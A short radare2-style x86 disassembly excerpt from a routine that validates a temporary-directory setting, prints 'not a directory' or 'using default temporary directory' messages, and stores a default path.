mov dword [esp + 0x10], edi
add esi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._s_value__s:_not_a_directory
mov dword [esp + 4], esi
mov dword [esp], edx
call fcn.00412148
mov esi, 1
add dword [ebp - 0x6c], 4
jmp 0x411734
mov dword [0x431980], 0x42db11
test esi, esi
je 0x411880
xor eax, eax
mov dword [esp + 0xc], 0x42db11
mov dword [esp + 8], str.using_default_temporary_directory__s
mov dword [esp + 4], 1
mov dword [esp], eax
call fcn.00412148
mov edi, dword [0x431980]
add esp, 0x8c
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret